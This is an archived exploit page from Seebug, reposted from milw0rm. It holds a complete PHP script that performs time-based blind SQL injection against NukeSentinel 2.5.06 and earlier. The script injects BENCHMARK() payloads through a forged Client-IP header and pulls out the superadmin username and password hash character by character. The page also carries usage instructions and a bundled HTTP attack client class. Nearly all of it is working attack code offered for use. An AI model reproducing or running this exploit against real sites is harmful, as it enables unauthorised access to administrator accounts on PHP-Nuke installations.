Lucene search

K
seebugRootSSV:64532
HistoryJul 01, 2014 - 12:00 a.m.

NukeSentinel <= 2.5.06 (MySQL => 4.0.24) - Remote SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
11

No description provided by source.


                                                #!/usr/bin/php
&#60;?php
error_reporting(E_ALL ^ E_NOTICE);

if($argc &#60; 3)
{
print(&#34;
--  NukeSentinel &#60;= 2.5.06 SQL Injection (mysql &#62;= 4.0.24) Exploit  ---
-----------------------------------------------------------------------
PHP conditions: none
CMS conditions: disable_switch&#60;=0 (module activated), track_active=1
       Credits: DarkFig &#60;[email protected]&#62;
           URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
  Usage: $argv[0] -url &#60;&#62; [Options]
 Params: -url       For example http://victim.com/phpnuke/ 
Options: -prefix    Table prefix (default=nuke)
         -debug     Debug mod activated (debug_ns.html)
         -truetime  Server response time which returns true
         -benchmark You can change the value used in benchmark()
         -proxy     If you wanna use a proxy &#60;proxyhost:proxyport&#62; 
         -proxyauth Basic authentification &#60;proxyuser:proxypwd&#62;
Example: $argv[0] -url http://localhost/phpnuke/ -debug
   Note: This exploit is based on the server response time
         If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
&#34;);exit(1);
}

$url       = getparam(&#34;url&#34;,1);
$tblprfix  = (getparam(&#34;prefix&#34;)!=&#34;&#34;)    ? getparam(&#34;prefix&#34;) : &#39;nuke&#39;;
$debug     = (getparam(&#34;debug&#34;)!=&#34;&#34;)     ? 1 : 0;
$benchmark = (getparam(&#34;benchmark&#34;)!=&#34;&#34;) ? getparam(&#34;benchmark&#34;) : &#39;100000000&#39;;
$proxy     = getparam(&#34;proxy&#34;);
$proxyauth = getparam(&#34;proxyauth&#34;);

$xpl = new phpsploit();
$xpl-&#62;agent(&#39;Mozilla Firefox&#39;);
$xpl-&#62;allowredirection(0);
$xpl-&#62;cookiejar(0);

if($proxy) $xpl-&#62;proxy($proxy);
if($proxyauth) $xpl-&#62;proxyauth($proxyauth);
if($debug) debug(1);

print &#34;\nUsername: &#34;;bruteforce(&#39;aid&#39;);
print &#34;\nPassword: &#34;;bruteforce(&#39;pwd&#39;);
exit(0);

function bruteforce($field)
{
	global $url,$xpl,$tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result; 
	$a=0;$v=&#39;&#39;;$dfield=$field;
	
	if(eregi(&#39;a&#39;,$field)) { $b=&#39;-1&#39;;$c=&#39;127&#39;;} # aid charset
	else                  { $b=&#39;46&#39;;$c=&#39;70&#39;; } # pwd charset
	
	while(TRUE)
	{
		$a++;
		for($e=$b;$e&#60;=$c;$e++)
		{
			$fak = rand(128,254).&#39;.&#39;
			      .rand(128,254).&#39;.&#39;
			      .rand(128,254).&#39;.&#39;
			      .rand(128,254);

                        if($e==$b) $f=&#34;TST&#34;;
			elseif($e==($b+1)) $f=&#34;NULL&#34;;
			else $f=$e;

                        # $db-&#62;sql_query(&#34;INSERT INTO `&#34;.$prefix.&#34;_nsnst_tracked_ips` (`user_id`, `username`, `date`,
                        # `ip_addr`, `ip_long`, `page`, `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`,
                        # `remote_port`, `request_method`, `c2c`) VALUES (&#39;&#34;.$nsnst_const[&#39;ban_user_id&#39;].&#34;&#39;, &#39;$ban_username2&#39;,
                        # &#39;&#34;.$nsnst_const[&#39;ban_time&#39;].&#34;&#39;, &#39;&#34;.$nsnst_const[&#39;remote_ip&#39;].&#34;&#39;, &#39;&#34;.$nsnst_const[&#39;remote_long&#39;].&#34;&#39;,
                        # &#39;$pg&#39;, &#39;$user_agent&#39;, &#39;$refered_from&#39;, &#39;&#34;.$nsnst_const[&#39;forward_ip&#39;].&#34;&#39;, &#39;&#34;.$nsnst_const[&#39;client_ip&#39;].&#34;&#39;,
                        # &#39;&#34;.$nsnst_const[&#39;remote_addr&#39;].&#34;&#39;, &#39;&#34;.$nsnst_const[&#39;remote_port&#39;].&#34;&#39;, &#39;&#34;.$nsnst_const[&#39;request_method&#39;].&#34;&#39;,
                        # &#39;$c2c&#39;)&#34;);
                        #
			$sql  = &#34;(SELECT IF((SUBSTR(&#34;;
			$sql .= ($f==&#34;TST&#34;) ? &#34;(SELECT 1)&#34; : &#34;(SELECT $field FROM ${tblprfix}_authors WHERE radminsuper=1)&#34;;
			$sql .= ($f==&#34;TST&#34;) ? &#34;,1&#34; : &#34;,$a&#34;;
			$sql .= &#34;,1)=CHAR(&#34;;
			$sql .= ($f==&#34;TST&#34;) ? &#34;49&#34; : &#34;$f&#34;;
			$sql .= &#34;)),BENCHMARK($benchmark,CHAR(66))&#34;;
			$sql .= &#34;,1)),1,1,1,1,1,1,1,1,1)/*&#34;;

			$bef = time();
			$xpl-&#62;reset(&#34;header&#34;);
			
			# 2.5.06 CHANGES (2007-03-02):
			# + Corrected a problem causing valid ip users to be tagged as invalid users
                        # ...The old sploit will not work for this version but it&#39;s always vulnerable, you missed something.
                        #
			# if(!ereg(&#34;^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})&#34;, $nsnst_const[&#39;remote_ip&#39;]))
                        # {$nsnst_const[&#39;remote_ip&#39;] = &#34;none&#34;; }
			#
			$xpl-&#62;addheader(&#34;Client-IP&#34;,&#34;$fak&#39;,$sql&#34;);
			$xpl-&#62;get($url);
			$aft = time();

			if($f==&#34;TST&#34;) $truetime=($aft-$bef);
			if(getparam(&#34;truetime&#34;)!=&#34;&#34;) $truetime = getparam(&#34;truetime&#34;);
			
			if((($aft-$bef) &#62;= $truetime) AND ($f != &#34;TST&#34;)) $result=&#39;TRUE&#39;;
			else $result=&#39;FALSE&#39;;
			if($debug) debug();
			
			if($result==&#39;TRUE&#39;)
			{
				if($f != &#34;NULL&#34;)
				{
					print strtolower(chr($f));
					$v .= chr($f);
					break;
				}
				else
				{
					return $v;
				}
			}
			
			# Retry if no char found
			if($f==$c) $a--;
		}
	}
}

function debug($first=&#39;&#39;)
{
	global $tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result;
	if($first)
	{
		$handle = fopen(&#34;debug_ns.html&#34;,&#34;w+&#34;);
		$data = &#34;&#60;h1&#62;&#60;div align=&#39;center&#39;&#62;NukeSentinel &lt;= 2.5.06 SQL Injection (Debug)&#60;/div&#62;&#60;/h1&#62;
		&#60;pre&#62;&#60;table width=&#39;0&#39; border=&#39;1&#39; align=&#39;center&#39; cellspacing=&#39;0&#39;&#62;&#60;tr&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;REQUEST TIME&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;RESPONSE TIME&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;TRUETIME&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;BENCHMARK&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;RESULT&#60;/b&#62;&#60;/td&#62;&#34;;
		# &#60;td align=&#39;center&#39;&#62;&#60;b&#62;IP&#60;/b&#62;&#60;/td&#62;
		$data .= &#34;&#60;td align=&#39;center&#39;&#62;&#60;b&#62;FIELD&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;CHARSET&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;SUBSTR()&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;ORD()&#60;/b&#62;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&#60;b&#62;CHAR()&#60;/b&#62;&#60;/td&#62;&#34;;
		fwrite($handle,$data);
		fclose($handle);
	}
	else
	{
		$handle = fopen(&#34;debug_ns.html&#34;,&#34;a&#34;);
		$data   = &#34;&#60;tr&#34;;
		$data  .= ($result==&#39;TRUE&#39;) ? &#34; bgcolor=&#39;#FFFF00&#39;&#34; : &#34;&#34;;
		$data  .= &#34;&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($bef).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($aft).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($truetime).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($benchmark).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($result).&#34;&nbsp;&#60;/td&#62;&#34;;
		# &#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($fak).&#34;&nbsp;&#60;/td&#62;
		$data .= &#34;&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($dfield).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities(&#34;$b-$c&#34;).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($a).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities($f).&#34;&nbsp;&#60;/td&#62;
		&#60;td align=&#39;center&#39;&#62;&nbsp;&#34;.htmlentities(chr($f)).&#34;&nbsp;&#60;/td&#62;&#60;/tr&#62;&#34;;
		fwrite($handle,$data);
		fclose($handle);
	}
}

function getparam($param,$opt=&#39;&#39;)
{
	global $argv;
	foreach($argv as $value =&#62; $key)
	{
		if($key == &#39;-&#39;.$param) {
		   if(!empty($argv[$value+1])) return $argv[$value+1];
		   else return 1;
		}
	}
	if($opt) exit(&#34;\n-$param parameter required&#34;);
	else return;
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 5 (remove &#34;private&#34;, &#34;public&#34; if you have PHP 4)
 * VERSION:        1.2
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        [email protected] (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don&#39;t have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this-&#62;proxyhost) && !empty($this-&#62;proxyport)) $socket = fsockopen($this-&#62;proxyhost,$this-&#62;proxyport);
		else $socket = fsockopen($this-&#62;host,$this-&#62;port);
		
		if(!$socket) die(&#34;Error: The host doesn&#39;t exist&#34;);
		
		if($this-&#62;method===&#34;get&#34;) $this-&#62;packet = &#34;GET &#34;.$this-&#62;url.&#34; HTTP/1.1\r\n&#34;;
		elseif($this-&#62;method===&#34;post&#34; or $this-&#62;method===&#34;formdata&#34;) $this-&#62;packet = &#34;POST &#34;.$this-&#62;url. &#34; HTTP/1.1\r\n&#34;;
		else die(&#34;Error: Invalid method&#34;);
		
		if(!empty($this-&#62;proxyuser)) $this-&#62;packet .= &#34;Proxy-Authorization: Basic &#34;.base64_encode($this-&#62;proxyuser.&#34;:&#34;.$this-&#62;proxypass).&#34;\r\n&#34;;
		$this-&#62;packet .= &#34;Host: &#34;.$this-&#62;host.&#34;\r\n&#34;;
		
		if(!empty($this-&#62;agent))  $this-&#62;packet .= &#34;User-Agent: &#34;.$this-&#62;agent.&#34;\r\n&#34;;
		if(!empty($this-&#62;header)) $this-&#62;packet .= $this-&#62;header.&#34;\r\n&#34;;
		if(!empty($this-&#62;cookie)) $this-&#62;packet .= &#34;Cookie: &#34;.$this-&#62;cookie.&#34;\r\n&#34;;
		
		$this-&#62;packet .= &#34;Connection: Close\r\n&#34;;
		if($this-&#62;method===&#34;post&#34;)
		{
			$this-&#62;packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
			$this-&#62;packet .= &#34;Content-Length: &#34;.strlen($this-&#62;data).&#34;\r\n\r\n&#34;;
			$this-&#62;packet .= $this-&#62;data.&#34;\r\n&#34;;
		}
		elseif($this-&#62;method===&#34;formdata&#34;)
		{
			$this-&#62;packet .= &#34;Content-Type: multipart/form-data; boundary=---------------------------&#34;.$this-&#62;boundary.&#34;\r\n&#34;;
			$this-&#62;packet .= &#34;Content-Length: &#34;.strlen($this-&#62;data).&#34;\r\n\r\n&#34;;
			$this-&#62;packet .= $this-&#62;data;
		}
		$this-&#62;packet .= &#34;\r\n&#34;;
		$this-&#62;recv = &#39;&#39;;
		
		fputs($socket,$this-&#62;packet);
		while(!feof($socket)) $this-&#62;recv .= fgets($socket);
		fclose($socket);
		
		if($this-&#62;cookiejar) $this-&#62;cookiejar($this-&#62;getheader($this-&#62;recv));
		if($this-&#62;allowredirection) return $this-&#62;allowredirection($this-&#62;recv);
		else return $this-&#62;recv;
	}
	

	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 * 
	 * $this-&#62;addcookie(&#34;name&#34;,&#34;value&#34;);
	 * or
	 * $this-&#62;addcookie(&#34;name=newvalue&#34;);
	 * or
	 * $this-&#62;addcookie(&#34;othername=overvalue; xx=zz; y=u&#34;);
	 * 
	 * @param string $cookiename
	 * @param string $cookievalue
	 * 
	 */
	public function addcookie($cookn,$cookv=&#39;&#39;)
	{
		// $this-&#62;addcookie(&#34;name&#34;,&#34;value&#34;); work avec replace
		if(!empty($cookv))
		{
			if($cookv === &#34;deleted&#34;) $cookv=&#39;&#39;; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this-&#62;cookie))
			{
			    if(preg_match(&#34;/$cookn=/&#34;,$this-&#62;cookie))
			    {
			    	$this-&#62;cookie = preg_replace(&#34;/$cookn=(\S*);/&#34;,&#34;$cookn=$cookv;&#34;,$this-&#62;cookie);
			    }
			    else
			    {
			    	$this-&#62;cookie .= &#34; &#34;.$cookn.&#34;=&#34;.$cookv.&#34;;&#34;; // &#34; &#34;.
			    }
			}
			else
			{
				$this-&#62;cookie = $cookn.&#34;=&#34;.$cookv.&#34;;&#34;;
			}
		}
		// $this-&#62;addcookie(&#34;name=value; othername=othervalue&#34;);
		else
		{
	    	 if(!empty($this-&#62;cookie))
	    	 {
	    	 	$cookn = preg_replace(&#34;/(.*);$/&#34;,&#34;$1&#34;,$cookn);
	    	 	$cookarr = explode(&#34;;&#34;,str_replace(&#34; &#34;, &#34;&#34;,$cookn));
	    	 	for($i=0;$i&#60;count($cookarr);$i++)
	    	 	{
	    	 		preg_match(&#34;/(\S*)=(\S*)/&#34;,$cookarr[$i],$matches);
	    	 		$cookn = $matches[1];
	    	 		$cookv = $matches[2];
	    	 		$this-&#62;addcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===&#34;;&#34;) ? $cookn : $cookn.&#34;;&#34;;
			 	$this-&#62;cookie = $cookn;			
			 }
		}
	}
	
	
	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this-&#62;addheader(&#34;headername&#34;,&#34;headervalue&#34;);
	 * or
	 * $this-&#62;addheader(&#34;headername: headervalue&#34;);
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue=&#39;&#39;)
	{
		// $this-&#62;addheader(&#34;name&#34;,&#34;value&#34;);
		if(!empty($headervalue))
		{
			if(!empty($this-&#62;header))
			{
				if(preg_match(&#34;/$headern:/&#34;,$this-&#62;header))
				{
					$this-&#62;header = preg_replace(&#34;/$headern: (\S*)/&#34;,&#34;$headern: $headervalue&#34;,$this-&#62;header);
				}
				else
				{
					$this-&#62;header .= &#34;\r\n&#34;.$headern.&#34;: &#34;.$headervalue;
				}
			}
			else
			{
				$this-&#62;header=$headern.&#34;: &#34;.$headervalue;
			}
		}
		// $this-&#62;addheader(&#34;name: value&#34;);
		else 
		{
			if(!empty($this-&#62;header))
			{
				$headarr = explode(&#34;: &#34;,$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this-&#62;addheader($headern,$headerv);
			}
			else
			{
				$this-&#62;header=$headern;
			}
		}
	}
	

	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 * 
	 * $this-&#62;proxy(&#34;proxyip&#34;,&#34;8118&#34;);
	 * or
	 * $this-&#62;proxy(&#34;proxyip:8118&#34;)
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp=&#39;&#39;)
	{
		// $this-&#62;proxy(&#34;localhost:8118&#34;);
		if(empty($proxyp))
		{
			preg_match(&#34;/^(\S*):(\d+)$/&#34;,$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this-&#62;proxyhost=$proxh;
			$this-&#62;proxyport=$proxp;
		}
		// $this-&#62;proxy(&#34;localhost&#34;,8118);
		else 
		{
			$this-&#62;proxyhost=$proxy;
			$this-&#62;proxyport=intval($proxyp);
		}
		if($this-&#62;proxyport &#62; 65535) die(&#34;Error: Invalid port number&#34;);
	}
	

	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 * 
	 * $this-&#62;proxyauth(&#34;darkfig&#34;,&#34;dapasswd&#34;);
	 * or
	 * $this-&#62;proxyauth(&#34;darkfig:dapasswd&#34;);
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse=&#39;&#39;)
	{
		// $this-&#62;proxyauth(&#34;darkfig:password&#34;);
		if(empty($proxypasse))
		{
			preg_match(&#34;/^(.*):(.*)$/&#34;,$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this-&#62;proxyuser=$proxu;
			$this-&#62;proxypass=$proxp;
		}
		// $this-&#62;proxyauth(&#34;darkfig&#34;,&#34;password&#34;);
		else
		{
			$this-&#62;proxyuser=$proxyauth;
			$this-&#62;proxypass=$proxypasse;
		}
	}

	
	/**
	 * This function allows you to set the &#34;User-Agent&#34; header.
	 * Several methods are possible to do that:
	 * 
	 * $this-&#62;agent(&#34;Mozilla Firefox&#34;);
	 * or
	 * $this-&#62;addheader(&#34;User-Agent: Mozilla Firefox&#34;);
	 * or
	 * $this-&#62;addheader(&#34;User-Agent&#34;,&#34;Mozilla Firefox&#34;);
	 * 
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this-&#62;agent=$useragent;
	}

	
	/**
	 * This function returns the header which will be
	 * in the next request.
	 * 
	 * $this-&#62;showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this-&#62;header;
	}

	
	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 * 
	 * $this-&#62;showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this-&#62;cookie;
	}

	
	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 * 
	 * $this-&#62;showlastrequest();
	 * 
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this-&#62;packet;
	}
	
	
	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 * 
	 * $this-&#62;get(&#34;http://localhost&#34;);
	 * $this-&#62;get(&#34;http://localhost:888/xd/tst.php&#34;);
	 * 
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this-&#62;target($url);
		$this-&#62;method=&#34;get&#34;;
		return $this-&#62;sock();
	}

	
	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 * 
	 * $this-&#62;post(&#34;http://localhost/index.php&#34;,&#34;admin=1&user=dark&#34;);
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */	
	public function post($url,$data)
	{
		$this-&#62;target($url);
		$this-&#62;method=&#34;post&#34;;
		$this-&#62;data=$data;
		return $this-&#62;sock();
	}
	

	/**
	 * This function sends the formed http packet with the
	 * POST method using the multipart/form-data enctype. 
	 * 
	 * $array = array(
	 *          frmdt_url      =&#62; &#34;http://localhost/upload.php&#34;,
	 *          frmdt_boundary =&#62; &#34;123456&#34;,                    # Optional
	 *                 &#34;email&#34; =&#62; &#34;[email protected]&#34;,
	 *               &#34;varname&#34; =&#62; array(
	 *                            frmdt_type =&#62; &#34;image/gif&#34;,   # Optional
	 *                       frmdt_transfert =&#62; &#34;binary&#34;,      # Optional
	 *                        frmdt_filename =&#62; &#34;hello.php&#34;,
	 *                         frmdt_content =&#62; &#34;&#60;?php echo &#39;:)&#39;; ?&#62;&#34;));
	 * $this-&#62;formdata($array);
	 *
	 * @param array $array
	 * @return $server_response
	 */
	public function formdata($array)
	{
		$this-&#62;target($array[frmdt_url]);
		$this-&#62;method=&#34;formdata&#34;;
		$this-&#62;data=&#39;&#39;;
		if(!isset($array[frmdt_boundary])) $this-&#62;boundary=&#34;phpsploit&#34;;
		else $this-&#62;boundary=$array[frmdt_boundary];
		foreach($array as $key =&#62; $value)
		{
			if(!preg_match(&#34;#^frmdt_(boundary|url)#&#34;,$key))
			{
				$this-&#62;data .= &#34;-----------------------------&#34;.$this-&#62;boundary.&#34;\r\n&#34;;
				$this-&#62;data .= &#34;Content-Disposition: form-data; name=\&#34;&#34;.$key.&#34;\&#34;;&#34;;
				if(!is_array($value))
				{
					$this-&#62;data .= &#34;\r\n\r\n&#34;.$value.&#34;\r\n&#34;;
				}
				else
				{
					$this-&#62;data .= &#34; filename=\&#34;&#34;.$array[$key][frmdt_filename].&#34;\&#34;;\r\n&#34;;
					if(isset($array[$key][frmdt_type])) $this-&#62;data .= &#34;Content-Type: &#34;.$array[$key][frmdt_type].&#34;\r\n&#34;;
					if(isset($array[$key][frmdt_transfert])) $this-&#62;data .= &#34;Content-Transfer-Encoding: &#34;.$array[$key][frmdt_transfert].&#34;\r\n&#34;;
					$this-&#62;data .= &#34;\r\n&#34;.$array[$key][frmdt_content].&#34;\r\n&#34;;
				}
			}
		}
		$this-&#62;data .= &#34;-----------------------------&#34;.$this-&#62;boundary.&#34;--\r\n&#34;;
		return $this-&#62;sock();
	}

	
	/**
	 * This function returns the content of the server response
	 * without the headers.
	 * 
	 * $this-&#62;getcontent($this-&#62;get(&#34;http://localhost/&#34;));
	 * or
	 * $this-&#62;getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code=&#39;&#39;)
	{
		if(empty($code)) $code = $this-&#62;recv;
		$content = explode(&#34;\n&#34;,$code);
		$onlycode = &#39;&#39;;
		for($i=1;$i&#60;count($content);$i++)
		{
			if(!preg_match(&#34;/^(\S*):/&#34;,$content[$i])) $ok = 1;
			if($ok) $onlycode .= $content[$i].&#34;\n&#34;;
		}
		return $onlycode;
	}

	
	/**
	 * This function returns the headers of the server response
	 * without the content.
	 * 
	 * $this-&#62;getheader($this-&#62;post(&#34;http://localhost/x.php&#34;,&#34;x=1&z=2&#34;));
	 * or
	 * $this-&#62;getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code=&#39;&#39;)
	{
		if(empty($code)) $code = $this-&#62;recv;
		$header = explode(&#34;\n&#34;,$code);
		$onlyheader = $header[0].&#34;\n&#34;;
		for($i=1;$i&#60;count($header);$i++)
		{
			if(!preg_match(&#34;/^(\S*):/&#34;,$header[$i])) break;
			$onlyheader .= $header[$i].&#34;\n&#34;;
		}
		return $onlyheader;
	}

	
	/**
	 * This function is called by the cookiejar() function.
	 * It adds the value of the &#34;Set-Cookie&#34; header in the &#34;Cookie&#34;
	 * header for the next request. You don&#39;t have to call it.
	 * 
	 * @param string $server_response
	 */
	private function getcookie($code)
	{
		$carr = explode(&#34;\n&#34;,str_replace(&#34;\r\n&#34;,&#34;\n&#34;,$code));
		for($z=0;$z&#60;count($carr);$z++)
		{
			if(preg_match(&#34;/set-cookie: (.*)/i&#34;,$carr[$z],$cookarr))
			{
				$cookie[] = preg_replace(&#34;/expires=(.*)(GMT||UTC)(\S*)$/i&#34;,&#34;&#34;,preg_replace(&#34;/path=(.*)/i&#34;,&#34;&#34;,$cookarr[1]));
			}
		}

		for($i=0;$i&#60;count($cookie);$i++)
		{
			preg_match(&#34;/(\S*)=(\S*)(|;)/&#34;,$cookie[$i],$matches);
	    	        $cookn = $matches[1];
	    	        $cookv = $matches[2];
	    	        $this-&#62;addcookie($cookn,$cookv);
		}
    }

	
	/**
	 * This function is called by the get()/post() functions.
	 * You don&#39;t have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match(&#34;/^http:\/\/(.*)\//&#34;,$urltarg)) $urltarg .= &#34;/&#34;;
		$this-&#62;url=$urltarg;
		
		$array = explode(&#34;/&#34;,str_replace(&#34;http://&#34;,&#34;&#34;,preg_replace(&#34;/:(\d+)/&#34;,&#34;&#34;,$urltarg)));
		$this-&#62;host=$array[0];

		preg_match(&#34;/:(\d+)\//&#34;,$urltarg,$matches);
		$this-&#62;port=empty($matches[1]) ? 80 : $matches[1];
		
		$temp = str_replace(&#34;http://&#34;,&#34;&#34;,preg_replace(&#34;/:(\d+)/&#34;,&#34;&#34;,$urltarg));
		preg_match(&#34;/\/(.*)\//&#34;,$temp,$matches);
		$this-&#62;path=str_replace(&#34;//&#34;,&#34;/&#34;,&#34;/&#34;.$matches[1].&#34;/&#34;);
	
		if($this-&#62;port &#62; 65535) die(&#34;Error: Invalid port number&#34;);
	}
	
	
	/**
	 * If you call this function, the script will
	 * extract all &#34;Set-Cookie&#34; headers values
	 * and it will automatically add them into the &#34;Cookie&#34; header
	 * for all next requests.
	 *
	 * $this-&#62;cookiejar(1); // enabled
	 * $this-&#62;cookiejar(0); // disabled
	 * 
	 */
	public function cookiejar($code)
	{
		if($code===0) $this-&#62;cookiejar=&#39;&#39;;
		if($code===1) $this-&#62;cookiejar=1;
		else
		{
			$this-&#62;getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 * 
	 * $this-&#62;allowredirection(1); // enabled
	 * $this-&#62;allowredirection(0); // disabled
	 * 
	 * @return $this-&#62;get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this-&#62;allowredirection=&#39;&#39;;
		if($code===1) $this-&#62;allowredirection=1;
		else
		{
			if(preg_match(&#34;/(location|content-location|uri): (.*)/i&#34;,$code,$codearr))
			{
				$location = str_replace(chr(13),&#39;&#39;,$codearr[2]);
				if(!eregi(&#34;://&#34;,$location))
				{
					return $this-&#62;get(&#34;http://&#34;.$this-&#62;host.$this-&#62;path.$location);
				}
				else
				{
					return $this-&#62;get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}
	
	
	/**
	 * This function allows you to reset some parameters:
	 * 
	 * $this-&#62;reset(header); // headers cleaned
	 * $this-&#62;reset(cookie); // cookies cleaned
	 * $this-&#62;reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func=&#39;&#39;)
	{
		switch($func)
		{
			case &#34;header&#34;:
			$this-&#62;header=&#39;&#39;;
			break;
			
			case &#34;cookie&#34;:
			$this-&#62;cookie=&#39;&#39;;
			break;
			
			default:
		        $this-&#62;cookiejar=&#39;&#39;;
		        $this-&#62;header=&#39;&#39;;
		        $this-&#62;cookie=&#39;&#39;;
		        $this-&#62;allowredirection=&#39;&#39;; 
		        $this-&#62;agent=&#39;&#39;;
		        break;
		}
	}
}
?&#62;

# milw0rm.com [2007-03-10]